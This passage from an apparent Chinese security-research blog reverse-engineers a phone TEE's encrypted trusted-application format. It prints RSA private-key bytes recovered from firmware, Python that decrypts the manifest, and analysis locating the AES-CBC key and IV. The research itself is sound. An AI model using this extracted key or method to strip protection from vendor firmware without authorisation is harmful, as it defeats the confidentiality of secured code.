<span class="k">print</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">m</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">m</span><span class="p">.</span><span class="nb">hex</span><span class="p">())</span>
</code></pre></div></div>
<p>解密后的数据如下,通过其中连片的00字节,就可以判断出解密成功了:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">127</span>
<span class="mo">02</span><span class="n">f7c9f892ef5dbb32fe00fbca8c864b79c646b5c49f1462de4e0201000000000000000000000000400100002000000000000020000000200000001900000031a4679966df8337fb391a9b4bcf1695dbba3037ce89b876165298ac9ab783c813b20f304fb0d2d0e61e37a2fdd6835756803d7ae2367b27ff17dab70f422daf</span>
</code></pre></div></div>
<p>但需要注意,解密后的数据的开头是02,这是PKCS#1 v1.5 的 padding,也叫 RSA_PKCS1_PADDING,是在数据头部填充padding:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/padding.png" alt="image" /></p>
<ul>
<li><a href="https://datatracker.ietf.org/doc/html/rfc2313">RFC 2313: PKCS #1: RSA Encryption Version 1.5</a></li>
<li><a href="https://crypto.stackexchange.com/questions/61178/why-ps-does-differ-between-pkcs1-v1-5-padding-for-signature-and-for-encryption">Why PS does differ between PKCS1 v1.5 padding for signature and for encryption?</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/356604821">RSA加密的填充方式</a></li>
</ul>
<p>所以需要把解密数据开头的0x02 到 0x00 的数据去掉:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">bytes_to_long</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
<span class="kn">import</span> <span class="nn">gmpy2</span>
<span class="n">private_key</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xcc\x29\xd6\x21\xb9\x86\xab\xa7\x13\xa7\xa2\x61\x06\x32\x1b\x33\x8d\xd1\x12\xd8</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x6f\x36\x14\xaa\x39\xcd\x1c\xd5\x9b\x1d\xf1\xfd\x5a\x17\x58\xea\x64\xc5\x3d\x76</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xcb\xce\x2a\x12\x04\x23\xf7\x78\x89\xbe\x63\x5b\xa1\xd4\x0b\x22\xb8\x78\x2a\x9c</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xc3\xdd\xbf\xeb\xc2\xd1\x59\x53\x2b\x07\xaf\x45\x54\x90\x37\xae\xe9\x7b\x24\x57</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x42\x68\x44\x59\xce\x72\xe7\x68\xfc\x07\xae\xa7\xcd\xdb\x87\x9b\x4f\x3b\x8c\x49</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xfe\xe2\x66\xbd\xc8\x77\x89\x0d\xc6\xba\x07\xac\x7a\x9f\xc0\x84\x25\xa8\x62\x66</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x55\xf7\xae\x43\x68\x15\xe1\xcd\x66\x7f\x62\x77\x8f\xf2\xe2\x5e\x80\xe9\x9a\x05</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xe7\xdc\x63\xf7\x9f\xed\x24\xee\xef\xf6\x50\xad\x9d\x53\x32\x74\xb2\xe9\x77\xc1</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xdf\xe6\xf4\xc6\xc8\x4c\x95\xac\xfc\x68\xc6\x8a\x40\xf5\xe5\x99\xe8\x5d\x62\xf8</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x6f\xe8\x4a\xa6\xe5\xc1\xbe\x72\xf1\x8a\x74\x7d\x76\x3b\xd3\xb8\x53\xdf\x20\x12</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x35\x96\x29\x15\x30\x82\x19\xb6\x13\x89\x70\x22\x08\xd7\x57\x76\x31\xae\xff\xe2</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xbb\x5e\xc6\x58\x0d\xa8\x18\x26\x38\x58\x72\xfe\x2f\x11\xcc\xcd\xdd\x93\xbd\x60</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x82\x33\x3e\x05\x75\x4d\x52\x1a\xc5\x85\xc1\xef\x0a\xd6\x6c\xe9\x22\x41\x21\xbc</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xa3\x79\xea\x2e\xd1\x40\xd3\xcc\xd2\x75\xbb\xb4\x05\x86\x91\x7a\x17\xf9\xc2\xd5</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x40\x63\xbb\xe0\x60\xb8\xaa\x85\xc9\x3e\x83\x19\xca\xfe\x1c\xd9\x17\x3c\x4c\x51</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xc1\xa0\xa0\xd3\xbd\x7f\xa5\xd1\x91\xec\x6d\x03\x8c\x80\x8d\xe6\x7f\xf5\x7f\xba</span><span class="s">'</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">private_key</span><span class="p">[:</span><span class="mi">64</span><span class="p">])</span>
<span class="n">q</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">private_key</span><span class="p">[</span><span class="mi">64</span><span class="p">:</span><span class="mi">128</span><span class="p">])</span>
<span class="n">dp</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">private_key</span><span class="p">[</span><span class="mi">128</span><span class="p">:</span><span class="mi">192</span><span class="p">])</span>
<span class="n">e</span> <span class="o">=</span> <span class="n">gmpy2</span><span class="p">.</span><span class="n">invert</span><span class="p">(</span><span class="n">dp</span><span class="p">,(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">gmpy2</span><span class="p">.</span><span class="n">invert</span><span class="p">(</span><span class="n">e</span><span class="p">,(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
<span class="n">n</span> <span class="o">=</span> <span class="n">p</span> <span class="o">*</span> <span class="n">q</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s">'868ccafb-794b-46c6-b5c4-9f1462de4e02.sec'</span><span class="p">,</span><span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">()[</span><span class="mh">0x18</span><span class="p">:</span><span class="mh">0x18</span><span class="o">+</span><span class="mi">128</span><span class="p">])</span>
<span class="n">m</span> <span class="o">=</span> <span class="n">long_to_bytes</span><span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">c</span><span class="p">,</span><span class="n">d</span><span class="p">,</span><span class="n">n</span><span class="p">))</span>
<span class="n">i</span> <span class="o">=</span> <span class="n">m</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span>
<span class="nb">open</span><span class="p">(</span><span class="s">'manifest.bin'</span><span class="p">,</span><span class="s">'wb'</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">m</span><span class="p">[</span><span class="n">i</span><span class="p">:])</span>
</code></pre></div></div>
<p>最终得到的明文manifest,长度0x74字节,具体如下:</p>
<blockquote>
<p><a href="https://xuanxuanblingbling.github.io/assets/attachment/p9lite/manifest.bin">manifest.bin</a></p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/manifest_bin.png" alt="image" /></p>
<p>接下来就是从这0x74字节的明文manifest找出AES加密的KEY,并且其中也许还包含AES加密的IV。另外还需要确定868ccafb-794b-46c6-b5c4-9f1462de4e02.sec中加密的TA_ELF本体的位置。确定这些的事的方法就是逆向了,具体来说就是逆向globaltask.elf中的load_secure_app_image函数,以及其调用的两个关键函数:</p>
<ul>
<li>parse_manifest:解密manifest并解析</li>
<li>elf_decry:对加密后的TA进行解密</li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/aes_re.png" alt="image" /></p>
<h2 id="加密ta-elf-本体的偏移">加密TA ELF 本体的偏移</h2>
<p>首先结合868ccafb-794b-46c6-b5c4-9f1462de4e02.sec分析load_secure_app_image,可以确定其调用elf_decry的第一个参数,就是加密TA文件中AES加密后TA_ELF的偏移,本例中偏移为0x1b4具体计算如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">v15</span> <span class="o">=</span> <span class="n">en_TA</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">;</span> <span class="c1">// 0x18</span>
<span class="n">v20</span> <span class="o">=</span> <span class="n">v15</span> <span class="o">+</span> <span class="p">(</span><span class="mh">0x99</span> <span class="o">&</span> <span class="mh">0xFFFFFFFC</span><span class="p">)</span> <span class="o">+</span> <span class="mi">4</span><span class="p">;</span> <span class="c1">// 0x9c</span>
<span class="n">v19</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">en_TA</span> <span class="o">+</span> <span class="mh">0x14</span><span class="p">);</span> <span class="c1">// 0x100</span>
<span class="n">hex</span><span class="p">(</span><span class="mh">0x18</span> <span class="o">+</span> <span class="mh">0x9c</span> <span class="o">+</span> <span class="mh">0x100</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0x1b4</span>
</code></pre></div></div>
<p>因此load_secure_app_image函数与868ccafb-794b-46c6-b5c4-9f1462de4e02.sec的对应分析的方法如下:</p>
<ul>
<li>*.sec文件头的0x18字节对应load_secure_app_image中解析出的一些全局变量</li>
<li>MANIFEST部分交给parse_manifest函数处理,并在其中也会解析出一些全局变量</li>
<li>解密TA_ELF交给elf_decry函数,但其会使用parse_manifest解析出的一些全局变量</li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/1b4.png" alt="image" /></p>
<h2 id="aes-gp标准的tee加密api">AES: GP标准的TEE加密API</h2>
<p>跟入elf_decry函数,可以看到其使用的密码函数是符合GP标准的TEE密码函数接口:</p>
<blockquote>
<p><a href="https://globalplatform.org/wp-content/uploads/2021/03/GPD_TEE_Internal_Core_API_Specification_v1.3.1_PublicRelease_CC.pdf">GlobalPlatform Technology TEE Internal Core API Specification Version 1.3.1</a></p>
</blockquote>
<ul>
<li>TEE_AllocateOperation</li>
<li>TEE_SetOperationKey</li>
<li>TEE_CipherInit</li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/aes256.png" alt="image" /></p>
<p>elf_decry调用TEE_AllocateOperation的第二个参数为0x10000110,通过TEE_AllocateOperation函数的定义:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">TEE_Result</span> <span class="nf">TEE_AllocateOperation</span><span class="p">(</span><span class="n">TEE_OperationHandle</span><span class="o">*</span> <span class="n">operation</span><span class="p">,</span>
<span class="kt">uint32_t</span> <span class="n">algorithm</span><span class="p">,</span>
<span class="kt">uint32_t</span> <span class="n">mode</span><span class="p">,</span>
<span class="kt">uint32_t</span> <span class="n">maxKeySize</span> <span class="p">);</span>
</code></pre></div></div>
<p>可以识别出其使用的加密算法为AES CBC (0x10000110):</p>
<blockquote>
<p><a href="https://github.com/OP-TEE/optee_os/blob/f12b4ead24cdaf3080636ab4f4d63d7df67d88cc/lib/libutee/include/tee_api_defines.h#LL225C1-L225C59">optee_os/lib/libutee/include/tee_api_defines.h</a></p>
</blockquote>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define TEE_ALG_AES_CBC_NOPAD 0x10000110
</span></code></pre></div></div>
<p>但如果对比OP-TEE的AES示例,会发现elf_decry这里少用了如下几个函数:</p>
<blockquote>
<p><a href="https://github.com/linaro-swg/optee_examples/blob/master/aes/ta/aes_ta.c">https://github.com/linaro-swg/optee_examples/blob/master/aes/ta/aes_ta.c</a></p>
</blockquote>
<ul>
<li>TEE_AllocateTransientObject</li>
<li>TEE_InitRefAttribute</li>
<li>TEE_PopulateTransientObject</li>
</ul>
<p>可以在GP规范中找到以上涉及的函数定义,另外也可以在OP-TEE中找到如下定义:</p>
<blockquote>
<p><a href="https://elixir.bootlin.com/op-tee/latest/source/lib/libutee/include/tee_internal_api.h">https://elixir.bootlin.com/op-tee/latest/source/lib/libutee/include/tee_internal_api.h</a></p>
</blockquote>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">TEE_Result</span> <span class="nf">TEE_AllocateTransientObject</span><span class="p">(</span><span class="n">TEE_ObjectType</span> <span class="n">objectType</span><span class="p">,</span>
<span class="kt">uint32_t</span> <span class="n">maxObjectSize</span><span class="p">,</span>
<span class="n">TEE_ObjectHandle</span> <span class="o">*</span><span class="n">object</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">TEE_InitRefAttribute</span><span class="p">(</span><span class="n">TEE_Attribute</span> <span class="o">*</span><span class="n">attr</span><span class="p">,</span>
<span class="kt">uint32_t</span> <span class="n">attributeID</span><span class="p">,</span>
<span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">buffer</span><span class="p">,</span>
<span class="kt">size_t</span> <span class="n">length</span><span class="p">);</span>
<span class="n">TEE_Result</span> <span class="nf">TEE_PopulateTransientObject</span><span class="p">(</span><span class="n">TEE_ObjectHandle</span> <span class="n">object</span><span class="p">,</span>
<span class="k">const</span> <span class="n">TEE_Attribute</span> <span class="o">*</span><span class="n">attrs</span><span class="p">,</span>
<span class="kt">uint32_t</span> <span class="n">attrCount</span><span class="p">);</span>
<span class="n">TEE_Result</span> <span class="nf">TEE_SetOperationKey</span><span class="p">(</span><span class="n">TEE_OperationHandle</span> <span class="n">operation</span><span class="p">,</span>
<span class="n">TEE_ObjectHandle</span> <span class="n">key</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">TEE_CipherInit</span><span class="p">(</span><span class="n">TEE_OperationHandle</span> <span class="n">operation</span><span class="p">,</span>
<span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">IV</span><span class="p">,</span>
<span class="kt">size_t</span> <span class="n">IVLen</span><span class="p">);</span>
<span class="n">TEE_Result</span> <span class="nf">TEE_CipherUpdate</span><span class="p">(</span><span class="n">TEE_OperationHandle</span> <span class="n">operation</span><span class="p">,</span>
<span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">srcData</span><span class="p">,</span>
<span class="kt">size_t</span> <span class="n">srcLen</span><span class="p">,</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">destData</span><span class="p">,</span>
<span class="kt">size_t</span> <span class="o">*</span><span class="n">destLen</span><span class="p">);</span>
</code></pre></div></div>
<p>在OP-TEE的AES示例中,这几个函数主要是设置AES加密密钥前序步骤。通过这几个函数,AES密钥即变量key,会通过变量attr,最终被设置到类型为 TEE_ObjectHandle 的 sess->key_handle,并传递给TEE_SetOperationKey函数:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">TEE_AllocateTransientObject</span><span class="p">(</span><span class="n">TEE_TYPE_AES</span><span class="p">,</span> <span class="n">sess</span><span class="o">-></span><span class="n">key_size</span> <span class="o">*</span> <span class="mi">8</span><span class="p">,</span> <span class="o">&</span><span class="n">sess</span><span class="o">-></span><span class="n">key_handle</span><span class="p">);</span>
<span class="n">TEE_InitRefAttribute</span><span class="p">(</span><span class="o">&</span><span class="n">attr</span><span class="p">,</span> <span class="n">TEE_ATTR_SECRET_VALUE</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">sess</span><span class="o">-></span><span class="n">key_size</span><span class="p">);</span>
<span class="n">TEE_PopulateTransientObject</span><span class="p">(</span><span class="n">sess</span><span class="o">-></span><span class="n">key_handle</span><span class="p">,</span> <span class="o">&</span><span class="n">attr</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="n">TEE_SetOperationKey</span><span class="p">(</span><span class="n">sess</span><span class="o">-></span><span class="n">op_handle</span><span class="p">,</span> <span class="n">sess</span><span class="o">-></span><span class="n">key_handle</span><span class="p">);</span>
<span class="n">TEE_CipherInit</span><span class="p">(</span><span class="n">sess</span><span class="o">-></span><span class="n">op_handle</span><span class="p">,</span> <span class="n">iv</span><span class="p">,</span> <span class="n">iv_sz</span><span class="p">);</span>
<span class="n">TEE_CipherUpdate</span><span class="p">(</span><span class="n">sess</span><span class="o">-></span><span class="n">op_handle</span><span class="p">,</span> <span class="n">params</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">memref</span><span class="p">.</span><span class="n">buffer</span><span class="p">,</span> <span class="n">params</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">memref</span><span class="p">.</span><span class="n">size</span><span class="p">,</span>
<span class="n">params</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">memref</span><span class="p">.</span><span class="n">buffer</span><span class="p">,</span> <span class="o">&</span><span class="n">params</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">memref</span><span class="p">.</span><span class="n">size</span><span class="p">);</span>
</code></pre></div></div>
<p>但这种绕一大圈设置密钥的方法着实令人费解,TEE_SetOperationKey第二个参直接把AES密钥怼进去看着多清楚呀。但这种操作其实是GP标准中规定的TEE加密函数的使用方法,因此使用这种方法设置密钥肯定有他的道理,不理解肯定是我们的问题。关于TEE加密API的使用资料不多,除了这个OP-TEE的AES的示例代码以外,在黄书<a href="https://item.jd.com/12461150.html">《手机安全和可信应用开发指南:TrustZone与OP-TEE技术详解》</a>的 <strong>OP-TEE中的密码学算法(269-273页)</strong> 一章中,对OP-TEE中的AES算法有如下解释:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/aes_tee.png" alt="image" /></p>
<p>不过这里还是看不出来为什么要这么设计,但是如果再往下看一点,看到OP-TEE中的RSA算法的说明,就可以发现其前序设置密钥的函数调用过程和AES基本一致:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/rsa.png" alt="image" /></p>
<p>所以这么设计API的目的就是:让TEE中的加密函数有比较统一的接口封装。主要做法是:把不同加密方法的差异抽象为属性Attribute,通过TEE_PopulateTransientObject函数把属性传递给类型为 TEE_ObjectHandle 的变量,例如示例中的sess->key_handle。例如OP-TEE的AES示例代码中调用TEE_InitRefAttribute所使用的TEE_ATTR_SECRET_VALUE属性,可以在GP规范中找到说明,例如AES、DES、SM4、HMAC等需要设置类似对称密钥的密码算法,均使用此属性进行密钥设置:</p>
<blockquote>
<p><a href="https://globalplatform.org/wp-content/uploads/2021/03/GPD_TEE_Internal_Core_API_Specification_v1.3.1_PublicRelease_CC.pdf">GlobalPlatform Technology TEE Internal Core API Specification Version 1.3.1</a></p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/attr_aes.png" alt="image" /></p>
<p>而RSA等其他非对称密码算法,通过如TEE_ATTR_RSA_MODULUS、TEE_ATTR_RSA_PRIME1、TEE_ATTR_RSA_PRIME2等其他属性,设置公私钥:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/attr_rsa.png" alt="image" /></p>
<p>因此GP规范中设计的各种属性Attribute,就是统一密码算法接口的关键。现在回到对elf_decry的逆向中,之前已经通过TEE_AllocateOperation函数确定AES使用的加密模式为CBC,还需确定AES加密所使用的IV和KEY。通过TEE_CipherInit函数,结合此函数的定义就可以确定IV相关的数据:</p>
<ul>
<li>全局变量dword_156764:就是IV的地址</li>
<li>全局变量dword_156758:除以2就是IV的长度</li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">TEE_CipherInit</span><span class="p">(</span><span class="n">TEE_OperationHandle</span> <span class="n">operation</span><span class="p">,</span> <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">IV</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">IVLen</span><span class="p">);</span>
<span class="n">TEE_CipherInit</span><span class="p">(</span><span class="n">v18</span><span class="p">,</span> <span class="n">dword_156764</span><span class="p">,</span> <span class="n">dword_156758</span> <span class="o">/</span> <span class="mi">2</span><span class="p">);</span>
</code></pre></div></div>
<p>但对于AES的KEY,我们并没有在elf_decry中看到设置AES密钥属性的TEE_PopulateTransientObject函数,只调用了TEE_SetOperationKey函数,此函数定义如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">TEE_Result</span> <span class="nf">TEE_SetOperationKey</span><span class="p">(</span><span class="n">TEE_OperationHandle</span> <span class="n">operation</span><span class="p">,</span> <span class="n">TEE_ObjectHandle</span> <span class="n">key</span><span class="p">);</span>
</code></pre></div></div>
<p>按照GP规范,TEE_SetOperationKey是使用已经绑定密钥的TEE_ObjectHandle进行密钥设置的最后操作,在逆向结果中已经绑定密钥TEE_ObjectHandle变量是v20,看起来是一个结构体,内容也很干净,和其相关的全局变量看起来也只有dword_156764和dword_156758,和之前确定的IV相关的全部变量完全一致。这就非常令人困惑了,那这俩全局变量到底是在表达KEY,还是在表达IV呢?</p>
<blockquote>
<p>其实最后发现,他这里的IV就是复用了KEY的前16个字节…</p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/v20.png" alt="image" /></p>
<p>这需要对v20这个结构体分析清楚后,才能更加明确。所以找一下TEE_ObjectHandle背后对应的结构体定义应该就可以分析明白了,目标结构体从名字上可以理解为TEE_ObjectHandle去掉Handle,就是找到一个差不多叫TEE_Object的结构体,但当我着手从TEE_ObjectHandle开始探索时,却陷入了困境…</p>
<h2 id="tee_objecthandle-到底是啥">TEE_ObjectHandle 到底是啥?</h2>
<p>对于ARM TEE的相关函数、常量、结构体,有两种非常直接的理解方式:查GP标准和看OP-TEE的源码。不过当前目标的TEE方案并非OP-TEE,而是华为的TrustedCore,因此某些实现细节未必和OP-TEE一致,对于目标中的TEE_ObjectHandle实现理解,因为没有调试符号和源码,因此只能通过逆向理解。因此我们就从这三种角度来理解TEE_ObjectHandle,一切从TEE_SetOperationKey这个函数出发:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">TEE_Result</span> <span class="nf">TEE_SetOperationKey</span><span class="p">(</span><span class="n">TEE_OperationHandle</span> <span class="n">operation</span><span class="p">,</span> <span class="n">TEE_ObjectHandle</span> <span class="n">key</span><span class="p">);</span>
</code></pre></div></div>
<h3 id="逆向">逆向</h3>
<p>逆向globaltask的elf_decry函数,分析关键变量如下:</p>
<ul>
<li>46行:根据TEE_SetOperationKey函数定义,v20的类型就是TEE_ObjectHandle,其值为栈上地址</li>
<li>35行:<code class="language-plaintext highlighter-rouge">v20[67]</code>上存了v9,即一个堆地址,指向一个12字节的堆块(堆块1)</li>
<li>41行:v9也即v17,即堆块1的4字节偏移处,又存了一个堆地址,指向v11大小字节的堆块(堆块2)</li>
<li>39行:v11的值为全局变量dword_156758,也即堆块2的大小</li>
<li>45行:v12,也即堆块2的地址,拷贝了全局变量dword_156764指向的内容,拷贝大小为dword_156758</li>
</ul>
<p>因此v20指向的这段栈空间就可以理解为TEE_ObjectHandle指向的结构体,其<code class="language-plaintext highlighter-rouge">67*4</code>字节的偏移处的位置存放了堆块1的地址,堆块1中又存了堆块2的地址,在堆块2中存放了全局变量dword_156764指向的内容。而v20确实作为TEE_SetOperationKey函数设置密钥的关键变量,所以全局变量dword_156764指向的内容应该就是AES的密钥。那么v20的<code class="language-plaintext highlighter-rouge">67*4</code>字节偏移,和通过两层堆块保存密钥的结构,应该就是GP标准中设计出来的属性Attribute,在TrustedCore中的具体实现。</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/v20.png" alt="image" /></p>
<p>那么接下来我们就通过GP标准和OP-TEE来辅助证明一下这个逆向结果。</p>
<h3 id="gp标准">GP标准</h3>
<p>在GP标准中定义TEE_ObjectHandle为结构体指针,但找不到目标结构体具体的定义:</p>
<blockquote>
<p><a href="https://globalplatform.org/wp-content/uploads/2021/03/GPD_TEE_Internal_Core_API_Specification_v1.3.1_PublicRelease_CC.pdf">GlobalPlatform Technology TEE Internal Core API Specification Version 1.3.1</a></p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/gp_1.png" alt="image" /></p>
<p>还能找到一个各种Handle的表:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/gp_2.jpeg" alt="image" /></p>
<p>除此之外还能找到一张关于TEE_ObjectHandle状态变化表:</p>
<blockquote>
<p>Figure 5-1: State Diagram for TEE_ObjectHandle (Informative)</p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/gp_3.png" alt="image" /></p>
<p>但以上的这些表达都还是太抽象了,我就只是想知道TEE_ObjectHandle指针指向的结构体长啥样而已。但看起来GP标准无法直接回答我的问题,也就是在规范中没有定义这个结构体,所以接下来还是要去OP-TEE中寻找答案。</p>
<h3 id="op-tee">OP-TEE</h3>
<p>找到源码中的TEE_ObjectHandle定义,符合GP标准,确实定义为结构体指针,其指向的结构体类型具体为__TEE_ObjectHandle:</p>
<blockquote>
<p><a href="https://elixir.bootlin.com/op-tee/latest/source/lib/libutee/include/tee_api_types.h#L84">https://elixir.bootlin.com/op-tee/latest/source/lib/libutee/include/tee_api_types.h#L84</a></p>
</blockquote>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="n">__TEE_ObjectHandle</span> <span class="o">*</span><span class="n">TEE_ObjectHandle</span><span class="p">;</span>
</code></pre></div></div>
<p>但是当我搜索__TEE_ObjectHandle这个结构体时,却发现没有其他定义了,整个OP-TEE OS里就这一处有这个玩意:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">optee_os</span> <span class="n">git</span><span class="o">:</span><span class="p">(</span><span class="n">master</span><span class="p">)</span> <span class="n">grep</span> <span class="o">-</span><span class="n">ri</span> <span class="s">"__TEE_ObjectHandle"</span> <span class="p">.</span><span class="o">/</span>
<span class="p">.</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libutee</span><span class="o">/</span><span class="n">include</span><span class="o">/</span><span class="n">tee_api_types</span><span class="p">.</span><span class="n">h</span><span class="o">:</span><span class="k">typedef</span> <span class="k">struct</span> <span class="n">__TEE_ObjectHandle</span> <span class="o">*</span><span class="n">TEE_ObjectHandle</span><span class="p">;</span>
</code></pre></div></div>
<p>但在TEE_ObjectHandle附近定义的另一个结构体指针TEE_OperationHandle,却可以找到对应的结构体定义:</p>
<blockquote>
<p><a href="https://elixir.bootlin.com/op-tee/latest/source/lib/libutee/tee_api_operations.c#L19">https://elixir.bootlin.com/op-tee/latest/source/lib/libutee/tee_api_operations.c#L19</a></p>
</blockquote>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="n">__TEE_OperationHandle</span> <span class="o">*</span><span class="n">TEE_OperationHandle</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">__TEE_OperationHandle</span> <span class="p">{</span>
<span class="n">TEE_OperationInfo</span> <span class="n">info</span><span class="p">;</span>
<span class="n">TEE_ObjectHandle</span> <span class="n">key1</span><span class="p">;</span>
<span class="n">TEE_ObjectHandle</span> <span class="n">key2</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">operationState</span><span class="p">;</span><span class="cm">/* Operation state : INITIAL or ACTIVE */</span>
<span class="cm">/*
* buffer to collect complete blocks or to keep a complete digest
* for TEE_DigestExtract().
*/</span>
<span class="kt">uint8_t</span> <span class="o">*</span><span class="n">buffer</span><span class="p">;</span>
<span class="n">bool</span> <span class="n">buffer_two_blocks</span><span class="p">;</span> <span class="cm">/* True if two blocks need to be buffered */</span>
<span class="kt">size_t</span> <span class="n">block_size</span><span class="p">;</span> <span class="cm">/* Block size of cipher */</span>
<span class="kt">size_t</span> <span class="n">buffer_offs</span><span class="p">;</span> <span class="cm">/* Offset in buffer */</span>
<span class="kt">uint32_t</span> <span class="n">state</span><span class="p">;</span> <span class="cm">/* Handle to state in TEE Core */</span>
<span class="p">};</span>
</code></pre></div></div>
